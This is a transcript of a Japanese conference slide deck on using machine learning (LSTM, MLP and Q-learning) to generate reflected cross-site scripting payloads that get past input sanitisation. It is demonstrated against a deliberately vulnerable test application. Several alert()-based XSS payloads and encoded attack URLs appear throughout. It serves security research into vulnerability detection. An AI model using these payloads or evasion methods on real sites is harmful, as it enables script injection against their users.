機械学習を使ったハッキング手法

25
2016.11.26 Machine Learning 15minutes! #6 Presented by Isao Takaesu 機械学習を使ったハッキング手法

Upload: isao-takaesu

Post on 16-Apr-2017

1.187 views

Category:

Software


0 download

TRANSCRIPT

2016.11.26

Machine Learning 15minutes! #6

Presented by Isao Takaesu

機械学習を使ったハッキング手法

About the speaker

• 職業 : Webセキュリティエンジニア

• 所属 : 三井物産セキュアディレクション

• 趣味 : 脆弱性スキャナ作り、機械学習

• ブログ: http://www.mbsd.jp/blog/

• Black Hat Asia Arsenal, CODE BLUE / 2016

• AISECjpを主催

高江洲 勲

MBSD

タカエス イサオ

Machine Learning 15 minutes!

今回の対象

MBSD

Reflected Cross-Site Scripting

(RXSS)

Machine Learning 15 minutes!

RXSSの例:超脆弱なアプリ

MBSD

<html><head><meta http-equiv="Content-Type" content="text/html"><title>Case 3 - RXSS</title></head><body><input type="text" value="testData"></body></html>

http://xxx/case3/?input=testData

入力値がINPUTタグのVALUE属性内に出力

Machine Learning 15 minutes!

RXSSの例: 攻撃された様子

MBSD

<html><head><meta http-equiv="Content-Type" content="text/html"><title>Case 3 - RXSS</title></head><body><input type="text" value=""/><script>alert('XSS');</script>"></body></html>

http://xxx/case3/?input="/><script>alert(‘XSS');</script>

HTML内へのスクリプト埋め込み

Machine Learning 15 minutes!

RXSSの発現例

MBSD

<textarea>xxx</textarea><textarea>xxx</textarea><img src=x onerror=alert(0);></textarea>

・・・

<!-- xxx --><!-- xxx --><script>alert(0);</script>-->・・・

<input value=“xxx” /><input value=“xxx”><script>alert(0);</script>” />・・・

var hoge = [‘log’,’xxx’,’red’];var hoge = [‘log’,’xxx’]; alert(0);//’,’red’];

HTMLやJavaScript上の様々な場所で発現

構文の理解が重要Machine Learning 15 minutes!

MBSD

機械によるHTML/JavaScript構文の理解

LSTMを使う

Machine Learning 15 minutes!

LSTMの学習データ(HTML)

MBSD

<abbr class="" data-utime="" title=""></abbr><abbr class='' title=''></abbr><abbr data-utime='' title=''></abbr>・・・

<input name="" type="" value=""/><input alt="" id="" onclick="" src="" type=""/><input alt='' id="" src='' type=''/><input alt='' name='' src='' type=''/>・・・

<video autoplay="" loop="" muted=""></video><video class="" height="" id="" width=""></video><video src='' tabindex=''></video><video src=''></video>

2万ページ分のHTML構文(約12,000種類)

Machine Learning 15 minutes!

MBSD

_satellite.pageBottom();'](function(window) {

var _gaq = _gaq || [];var methods = ['log', 'dir', 'trace'];if (typeof window.console === 'undefined') {

window.console = {};} for (var i in methods) {

if (!(methods[i] in window.console)) { window.console[methods[i]] = function() {};

}}

}(window));

LSTMの学習データ(JavaScript)

1万ページ分のJavaScript構文

Machine Learning 15 minutes!

学習済みLSTMが生成した構文(一例)

MBSD

シード 生成構文

<textarea cols="60">xxx </textarea>

<!-- mbsdtest xxx -->

<input type="" value=“xxx ">

var hoge = ['log', ‘xxx red’];¥r¥n

/* mbsdtest xxx */

function(){ xxx }¥r¥n

シードに対応した構文生成が可能

Machine Learning 15 minutes!

RXSSの例:ちょっとセキュアなアプリ

MBSD

<html><head><meta http-equiv="Content-Type" content="text/html"><title>Case 4 - RXSS</title></head><body><input type="text" value=""/> alert('XSS');"></body></html>

SCRIPTタグのサニタイズ

http://xxx/case4/?input="/><script>alert(‘XSS');</script>

Machine Learning 15 minutes!

RXSSの例:攻撃された様子

MBSD

<html><head><meta http-equiv="Content-Type" content="text/html"><title>Case 4 - RXSS</title></head><body><input type="text" value=""onmouseout=alert('XSS')""></body></html>

サニタイズを回避してスクリプト埋め込み

http://xxx/case4/?input=“onmouseout=alert(‘XSS')”

Machine Learning 15 minutes!

サニタイズの例

MBSD

<script>alert(0);</script><block>alert(0);</block>・・・

<script>alert(0);</script>(delete)alert(0);</script>・・・

“><script>alert(0);</script>&quot;&gt;&lt;script&gt;alert(0);&lt;/script&gt;・・・

<script>alert(0);</script><script>alert(0);</script>

多種多様なサニタイズパターンが存在

サニタイズの回避テクニックの習得が必要

Machine Learning 15 minutes!

機械によるサニタイズの回避

MBSD

多層パーセプトロン(MLP)、Q学習を使う

Machine Learning 15 minutes!

MBSD

・・・

・・・

属性値

JS内

・・・

出力箇所

MLP

タグの外

“sCriPt”

他のタグ

URL encode

攻撃パターン

Event handler

・・・

Q学習

状態観測

サニタイズ回避を実現するモデル

・・・

評価

重み更新

“ ⇒ &quot;

< ⇒ &lt;

・・・

サニタイズ

> ⇒ &gt;

攻撃試行を繰り返しながらサニタイズ回避パターンを学習Machine Learning 15 minutes!

RXSS検出のデモ

MBSD

Target:webseclab

Caseサニタイズ

出力箇所/サニタイズ

/reflect/textarea1 × TEXTAREA タグ内

/reflect/onmouseover 〇INPUTタグの属性値入力値からタグ閉じが削除

Machine Learning 15 minutes!

RXSS検出のデモ

MBSD

Target:webseclab

Caseサニタイズ

出力箇所/サニタイズ

/reflect/textarea1 × TEXTAREA タグ内

/reflect/onmouseover 〇INPUTタグの属性値入力値からタグ閉じが削除

Machine Learning 15 minutes!

MBSD

<!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body><H2>Textarea injection test</H2><p><FORM><textarea name="in" rows="5" cols="60">saivs12345</textarea><p>

http://xxx/reflect/textarea1?in=saivs12345

出力箇所 :TEXTAREAタグ内

サニタイズ:なし

Case1:正常リクエスト送信時

Machine Learning 15 minutes!

MBSD

<!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body><H2>Textarea injection test</H2><p><FORM><textarea name="in" rows="5" cols="60"></textarea>7Q7pN"MBPcc'PA6tz<script>alert(3122);WKr8J</script>fowCP</textarea><p>

http://xxx/reflect/textarea1?in=%3C/textarea%3E7Q7pN%22MBPcc'

PA6tz%3Cscript%3Ealert(3122);WKr8J%3C/script%3EfowCP

試行回数:1回

Case1:攻撃リクエスト送信時

Machine Learning 15 minutes!

MBSD

Case1:攻撃の様子

Machine Learning 15 minutes!

https://www.youtube.com/watch?v=6UHbMGdqr_0

RXSS検出のデモ

MBSD

Target:webseclab

Caseサニタイズ

出力箇所/サニタイズ

/reflect/textarea1 × TEXTAREA タグ内

/reflect/onmouseover 〇INPUTタグの属性値入力値からタグ閉じが削除

Machine Learning 15 minutes!

MBSD

<!doctype html><html><head><title>Reflected XSS - attribute injection in tags (dq.2)</title></head><body><H2>Update Your Preferences</H2><p><FORM>Homepage: <input value=""><script>alert()" name="in" size="40"><BR>

http://xxx/xss/reflect/onmouseover?in=”><script>alert()</script>

出力箇所 :INPUTタグ内

サニタイズ:タグ閉じの削除

Case2:正常リクエスト送信時

Machine Learning 15 minutes!

MBSD

<!doctype html><html><head><title>Reflected XSS - attribute injection in tags (dq.2)</title></head><body><H2>Update Your Preferences</H2><p><FORM>Homepage: <input value=""> <option s onmouseover=alert(3122);//" name="in" size="40"><BR>

http://xxx/xss/reflect/onmouseover?in=%22%3E%3C/option%3E%3

Coption%20s%20onmouseover=alert(3122);//

試行回数:3回

Case2:攻撃リクエスト送信時

Machine Learning 15 minutes!

MBSD

Case2:攻撃の様子

Machine Learning 15 minutes!

https://www.youtube.com/watch?v=-r3C1moUVqU

Download “.PDF” version of this document:

≫ https://machine-learning15minutes.connpass.com/event/43004/